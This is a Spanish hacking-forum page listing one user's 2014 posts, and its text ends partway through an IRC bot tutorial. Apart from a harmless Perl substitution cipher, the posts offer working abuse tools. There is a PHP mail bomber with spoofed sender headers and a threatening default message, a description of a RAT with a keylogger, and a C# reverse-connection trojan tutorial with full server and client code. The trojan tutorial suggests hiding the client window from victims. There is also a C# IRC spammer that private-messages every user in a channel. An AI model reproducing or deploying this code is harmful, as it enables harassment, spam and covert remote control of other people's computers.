Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#141
Perl / [Perl] Ejemplo de Cifrado Murcielago
Noviembre 21, 2014, 10:11:36 AM
Un simple ejemplo en Perl sobre como realizar el cifrado Murcielago.

Código: perl

# !usr/bin/perl
# Cifrado Murcielago
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Cifrado Murcielago == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
===============
= Menu        =
===============
1 - Cifrar    =
2 - Descifrar =
3 - Exit      =
===============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_murcielago($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_murcielago($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/murcielagoMURCIELAGO/01234567890123456789/;
    return $texto;
}

sub descifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/01234567890123456789/murcielagoMURCIELAGO/;
    return $texto;
}

# The End ?
#142
Back-end / Re:[PHP] DH Bomber 0.5
Noviembre 14, 2014, 02:54:25 PM
lo de tener cuenta gmail para usarlo es obligatorio en todos los casos porque tambien lo eh hecho en delphi con 23 cuentas gmail diferentes usando el servidor SMTP con SSL y cambiando la IP cada 3 intentos , tambien solo usuaria gmail para enviar 5 correos nunca enviaria 100 , no tengo ideas ambiciosas xD , gracias por comentar.
#143
Back-end / [PHP] DH Bomber 0.5
Noviembre 14, 2014, 10:28:29 AM
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código: php

<?php

// DH Bomber 0.5
// (C) Doddy Hackman 2014

echo '
<style type="text/css">


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #ffffff;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#ffffff;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#ffffff;
border: solid 1px #ffffff;
border-color:#ffffff
}

a:link,a:visited,a:active {
color: #ffffff;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>';

echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";

echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
<center>
<br>';

if (isset($_POST['bombers'])) {
   
    $cantidad_bien = 0;
    $cantidad_mal  = 0;
   
    $need = "";
    $i    = "";
    $need .= "MIME-Version: 1.0\n";
    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
    $need .= "MIME-Version: 1.0\n";
    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
    $need .= "Reply-To:" . $_POST['falso'] . "\n";
    $need .= "X-Priority: 1\n";
    $need .= "X-MSMail-Priority:Hight\n";
    $need .= "X-Mailer:Widgets.com Server";
   
    echo "
<table border=1>
<td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
<td><fieldset>\n\n";
   
    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
    $mails           = array_filter($leyendo_mailist, 'trim');
   
    foreach ($mails as $mail) {
        for ($i = 1; $i <= $_POST['count']; $i++) {
            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
                $cantidad_bien++;
                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                flush();
            } else {
                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                $cantidad_mal++;
            }
        }
        echo "<br>";
    }
   
    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
   
    echo "</fieldset></td></table>";
   
    if ($cantidad_bien == 0) {
        echo "<script>alert('Mails Not Send')</script>";
    } else {
        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
    }
   
} else {
    echo '
<form action="" method="POST">
<table border="1">
<tr>
<td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="[email protected]" size="44" type="text"></td></tr><tr>
<td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
<td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
<td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
<td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">[email protected]</textarea></td></tr><tr>
<td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
</tr></tbody></table><br><br>
<input name="bombers" value="Send" type="submit">
</form>';
}

echo '
<br>
<h1>-- == (C) Doddy Hackman 2014 == --</h1>
</center>';

// The End ?

?>
#144
C# - VB.NET / [C#] DH Rat 0.3
Noviembre 07, 2014, 11:18:36 AM
Un simple Rat que hice en C# con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Version VideoTutorial



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#145
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código: csharp

using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares


Despues pongan las siguientes variables gobales al inicio del codigo :

Código: csharp

TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread


Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código: csharp

// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?


El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

    Les tiene que quedar algo asi :



    Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

    Código: csharp

    private void button1_Click(object sender, EventArgs e)
    {
    int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
    tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
    thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
    thread_server.Start(); // Iniciamos el hilo thread_server
    }


    Despues del codigo del boton agreguen el siguiente codigo :

    Código: csharp

    public void panel_control()
    {
    tcp_server.Start(); // Iniciamos el servidor
    while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
    {
    ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
    socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
    // los datos de la conexion pendiente
    }
    }

    void evento_panel_control(ServerManager vengo,string data)
    {
    Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para controlar que se encuentre
    // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
    if (regex.Success) // Si se encuentra ...
    {
    Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
    }

    regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
    // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
    // -RtaCommand-
    if (regex.Success) // Si se encuentra ...
    {
    MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
    }
    }

    delegate void _NewIdiot(ServerManager vengo);
    void NewIdiot(ServerManager vengo)
    {
    ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
    agregar.Text = vengo.ip; // Agregamos como texto la IP
    agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
    listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
    }


    Todos estos pasos les deberia quedar asi :



    Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

    Código: csharp

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
    // listView


    Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

    Código: csharp

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
    // listView


    Les deberia quedar algo asi los dos botones :



    Eso seria todo en el servidor.

    0x03 : Creacion del cliente

    Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



    Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

    Código: csharp

    using System.Net.Sockets; // Lo usamos para el manejo de sockets
    using System.Net; // Lo usamos para el manejo de sockets
    using System.IO; // Lo usamos para el manejo de streams
    using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
    using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares


    Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

    Código: csharp

    [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
    // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
    static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
    static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
    // IPEndPoint y la seteamos como null


    Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

    Código: csharp

    datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
    // como IPEndPoint con el valor de la IP y el puerto
    entrar_al_servidor(); // Realizamos la conexion


    Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

    Código: csharp

    public static void entrar_al_servidor()
    {
    try
    {
    conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
    enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
    // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
    }
    catch
    {
    //
    }
    }

    public static void leer_datos_del_servidor(IAsyncResult now)
    {
    try
    {
    StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
    // de tipo StreamReader para poder leer los datos que vienen
    string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido

    Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para verificar que nos envien la orden OpenCD
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
    enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
    }

    regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
    // nos envien la orden de CloseCd
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
    enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
    }

    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
    }
    catch
    {
    //
    }
    }

    public static void enviar_respuesta(string texto)
    {
    try
    {
    StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
    // como StreamWriter para poder mandar un mensaje
    enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
    enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
    }
    catch
    {
    //
    }
    }


    Con eso ya estaria listo el cliente.

    0x04 : Probando el programa

    Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
    Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

    Unas imagenes de como funciona :







    Eso seria todo.

    0x05 : Bibliografia

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    --========--
      The End ?
    --========--

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

    Version VideoTutorial :



    Eso es todo.
#146
Python / Re:[Python-CGI] PC Control Remoto - JaAViEr
Octubre 30, 2014, 07:20:10 PM
soy diabolico Javier xD.

pregunta : se puede entrar al server desde otra red de otro pais , o solo desde el internet de tu casa , porque yo hice algo asi en perl llamado Commander que esta publicado en el foro y me pasaba eso solo podia entrar desde mi propia red Wifi.
#147
C# - VB.NET / [C#] ClapTrap IRC Bot 0.5
Octubre 24, 2014, 09:56:20 AM
Traduccion a C# de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#148
C# - VB.NET / [C#] King Spam 0.2
Octubre 17, 2014, 11:09:05 AM
Un simple programa estilo consola en C# para hacer spam en un canal IRC desde un archivo de texto con el spam a enviar.

El codigo :

Código: csharp

// King Spam 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace kingspam
{
    class Program
    {

        static string[] usuarios;

        static StreamReader leer_datos;
        static StreamWriter mandar_datos;

        static void printear_logo(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear_especial(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static string print_form(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(texto);
            Console.ResetColor();

            Console.ForegroundColor = ConsoleColor.Cyan;
            string resultado = Console.ReadLine();
            Console.ResetColor();

            return resultado;

        }

        static void Main(string[] args)
        {

            printear_logo("\n-- == KingSpam 0.2 == --\n\n");

            string host_irc = print_form("[+] Host : ");
            string port_irc = print_form("\n[+] Port : ");
            string canal_irc = print_form("\n[+] Channel : ");
            string nick_irc = print_form("\n[+] Nickname : ");
            string file_spam = print_form("\n[+] Filename with spam : ");
            string timeout = print_form("\n[+] Timeout : ");

            if (File.Exists(file_spam))
            {
                string[] spam_lista_now = System.IO.File.ReadAllLines(file_spam);
                List<string> spam_lista = new List<string> {""};
                foreach (string agregar in spam_lista_now)
                {
                    spam_lista.Add(agregar);
                }

                NetworkStream conexion;
                TcpClient irc;

                string host = host_irc;
                string nickname = nick_irc;
                string canal = canal_irc;
                string code = "";

                printear_especial("\n[+] Connecting ...\n");

                try
                {

                    irc = new TcpClient(host, Convert.ToInt32(port_irc));
                    conexion = irc.GetStream();
                    leer_datos = new StreamReader(conexion);
                    mandar_datos = new StreamWriter(conexion);

                    mandar_datos.WriteLine("NICK " + nickname);
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1");
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("JOIN " + canal);
                    mandar_datos.Flush();

                    printear("[+] Online ...");
                   

                }

                catch
                {
                    printear("\n[-] Error\n");
                }

                while (true)
                {
                    while ((code = leer_datos.ReadLine()) != null)
                    {

                        Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string te_doy_pong = "PONG " + regex.Groups[1].Value;
                            mandar_datos.WriteLine(te_doy_pong);
                            mandar_datos.Flush();
                        }

                        regex = Regex.Match(code, ":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string usuarios_lista = regex.Groups[4].Value;
                            usuarios = usuarios_lista.Split(' ');
                            printear("\n[+] Users Found : " + usuarios.Length + "\n");
                            foreach (string usuario in usuarios)
                            {
                                printear("[+] User : " + usuario);
                            }
                            printear_especial("\n[+] Spammer Online\n");

                            while (true)
                            {

                                System.Threading.Thread.Sleep(Convert.ToInt32(timeout) * 1000);

                                var azar = new Random();
                                int pos = azar.Next(spam_lista.Count);
                                string mensaje = spam_lista[pos];

                                if (mensaje != "")
                                {
                                    mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + mensaje);
                                    mandar_datos.Flush();
                                }

                                foreach (string usuario in usuarios)
                                {
                                    if (usuario != nick_irc)
                                    {
                                        if (spam_lista[pos] != "")
                                        {
                                            mandar_datos.WriteLine("PRIVMSG" + " " + usuario + " " + mensaje);
                                            mandar_datos.Flush();
                                        }
                                    }
                                }
                            }

                        }
                   
                       
                    }

                }

            }
            else
            {
                printear_especial("[-] Error loading file");
            }

            Console.ReadLine();
           
        }
    }
}

// The End ?


Imagenes :





Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#149
C# - VB.NET / [C#] Creacion de un IRC Bot
Octubre 03, 2014, 01:07:59 PM
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando

-- =================--------

0x01 : Introduccion

Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven.
Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos
para hacking tools.

Comencemos ...

Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :



Con el proyecto ya creado pasemos al siguiente punto.

0x02 : Conectando con el servidor

Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :

Código: csharp

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares


Para poder realizar la conexion usamos los sockets de la siguiente forma :

Código: csharp

NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
TcpClient irc; // Establecemos la variable irc como TcpClient
StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush(); // Actualizamos la conexion

mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
mandar_datos.Flush(); // ..

mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
mandar_datos.Flush(); // ..


Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.

Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el  servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :

Código: csharp

while (true) // Mi bucle eterno
{
while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
{
Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if (regex.Success) // Si se encontro algo
{
string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
mandar_datos.Flush(); // ..
}
}
}


Con esto ya estamos conectados.

0x03 : Listando usuarios

Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :

Código: csharp

static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal


Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :

Código: csharp

regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if (regex.Success) // Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
}
}


Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.

0x04 : Mandar mensajes

Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :

Código: csharp

PRIVMSG #locos Mensaje


Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :

Código: csharp

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..


0x05 : Recibir privados

Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() : 

Código: csharp

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..

string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
}
}
             

Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.

0x06 : Reconocer comandos

